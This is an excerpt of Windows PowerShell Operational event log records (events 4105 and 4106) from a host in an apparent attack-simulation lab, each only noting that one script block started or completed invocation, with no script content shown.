SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469170
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469169
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469168
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469167
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469166
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469165
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469164
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469163
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469162
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469161
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469160
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469159
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469158
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469157
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469156
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469155
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469154
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469153
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469152
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469151
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469150
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469149
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469148
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469147
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469146
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469145
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469144
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469143
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469142
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469141
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469140
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469139
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469138
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469137
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469136
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469135
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469134
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469133
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469132
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469131
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469130
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469129
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469128
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469127
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469126
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469125
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469124
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469123
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469122
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469121
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469120
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469119
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469118
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469117
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469116
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469115
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
